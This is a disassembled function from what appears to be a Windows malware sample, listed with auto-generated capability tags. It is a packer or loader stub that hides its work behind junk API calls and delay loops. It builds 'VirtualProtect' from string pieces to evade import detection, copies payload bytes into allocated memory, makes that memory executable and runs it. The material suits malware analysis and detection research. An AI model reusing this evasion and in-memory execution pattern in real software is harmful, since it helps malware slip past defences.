Function at 0x411d10
Capabilities:
Access the windows event log
Enumerate gui resources
Get hostname
Print debug messages
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe28
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
cmp dword [ebp - 0x48], 0x15e6ce
jne 0x411e3e
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x7e2268
call esi
cmp eax, 0x3d443
jne 0x411e3e
push 0x7e2268
call esi
cmp eax, 0x8c71
jne 0x411e3e
push str.sitofijivahimadaxucohecavulilado_bi_xunapibifuzidagososepudaheme_libuzevahilipezipaxurotocomupe
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_AnimatePalette]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push 0
push str.koferidimarijoyaneyevetuwi_pufebedopiyocomujiyezejosusuti
call dword [sym.imp.KERNEL32.dll__lopen]
xor eax, eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 8]
push edx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xe28]
push eax
push 0
push 0
push 0
mov dword [ebp - 0x2c], 0
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
push str.mevumavizasehapezofogijuxonuco_je
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_TextOutW]
push str.supizi_pikarebe
push str.segogilibobixayogacikuyiletozo_yihebezobu_wuciwudo_caduferojudewocekodikici
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push str.givinenasabugakukucehalisozaze_lopuguyewotu_nedobeduhixotiwirozaco_yemibati_yupihaloxudelihebomiwarotija_xosuhevoyecamibezivehuduninexa_wuvofapexawixusukazereracosugoba_lixi_wezopizusumoko_tucawozibiyuhurenosuxi
push 0
push 0x41a058
call fcn.00403bfb
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
lea edi, [ebp - 0x10c]
call fcn.00401d90
mov eax, edi
call fcn.004019d0
mov edi, dword [sym.imp.WINSPOOL.DRV_DeviceCapabilitiesW]
mov ebx, dword [sym.imp.USER32.dll_SetPropA]
xor esi, esi
lea esp, [esp]
cmp esi, 0xe48
jge 0x411e7a
push 0
lea edx, [ebp - 0xa28]
push edx
push 0
push str.bulicokibageguzovewanavetogisa_dayarojohefajagomatecawija
push str.pamenuponagarozukafotovibi_bozuvemayuzutedorajuxejili_zuyowijufebo_doyilu_ra
call edi
push 0
push str.tazepureduneyijo_we_fo
push 0
call ebx
cmp esi, 0x25e5
jge 0x411ea7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
lea ecx, [ebp - 0x84]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetGUIThreadInfo]
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
cmp esi, 0x225
jge 0x411ee2
push 0
lea eax, [ebp - 0xa28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
cmp esi, 0x3342e
jle 0x411f05
cmp byte [ebp - 0x1da], 0x19
je 0x411f05
cmp dword [ebp - 8], 0x568311ec
je 0x411f05
cmp dword [ebp - 0x10], 0x13b53ec
jne 0x411f14
inc esi
cmp esi, 0x2ce240
jl 0x411e50
jmp 0x411f24
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x423f88], eax
mov ecx, dword [0x4192d8]
mov edi, dword [sym.imp.GDI32.dll_GdiComment]
mov ebx, dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
mov dword [0x7e2264], ecx
xor esi, esi
mov edi, edi
cmp esi, 0xf15
jge 0x411f51
push 0
push 0
call sub.USER32.dll_ImpersonateDdeClientWindow
cmp esi, 0x2a6163
jne 0x411f65
add dword [0x7e2264], 0xddede
jmp 0x411f82
cmp esi, 0x5b4
jge 0x411f82
push 0
push 0
push 0
call edi
push str.mocugagahufisenogifakekuho_nivasowo_mazajitezapuva
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x312c46
jl 0x411f40
mov edx, dword [0x7e2264]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov dword [0x423f84], eax
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x127e
jge 0x411ff1
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
push 0
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x628]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
cmp esi, 0x193711
jne 0x412007
mov edx, dword [0x4192cc]
mov dword [0x7e9074], edx
jmp 0x412035
cmp esi, 0x2110
jge 0x412035
push str.yitolo_hurejevutusibebicixidusa_wericecizaxafixobamo_yevetizababagewoxodocesapa_jayeyazedexisudoyomuhosadegu
call edi
push str.mofipasi_cajocowenodi_pececidujuciyexa_wekozarixecufazukofatepaxu_docagigiyovekesodoxofeza
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
lea eax, [ebp - 1]
push eax
mov byte [ebp - 1], 0
call dword [sym.imp.USER32.dll_LoadMenuIndirectA]
inc esi
cmp esi, 0x721be2
jl 0x411fb0
xor esi, esi
cmp dword [0x7e2264], esi
jbe 0x4120b0
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
cmp esi, 0x74a
jge 0x41206f
lea ecx, [ebp - 0x14]
push ecx
push str.vuyubokejunikudihu
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
cmp esi, 0x11b7
mov edx, dword [0x7e9074]
mov al, byte [esi + edx + 0xddede]
mov ecx, dword [0x423f84]
mov byte [esi + ecx], al
jge 0x4120a7
lea edx, [ebp - 0x220]
push edx
call edi
push 0
call ebx
push str.bekopukafolozepiyiwayayeha
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
inc esi
cmp esi, dword [0x7e2264]
jb 0x412058
push str.Virtual
push 0x41a058
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Protect
push 0x41a058
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x423f88]
push 0x41a058
push eax
mov byte [0x41a066], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x7e2264]
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [0x423f84]
push 0x40
push edx
push ecx
mov dword [0x423f80], eax
call eax
call fcn.00411ca0
add dword [0x7e2264], 0x7b
call dword [0x423f84]
mov edx, dword fs:[0x2c]
mov eax, dword [edx]
pop edi
pop esi
mov dword [eax + 4], 1
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10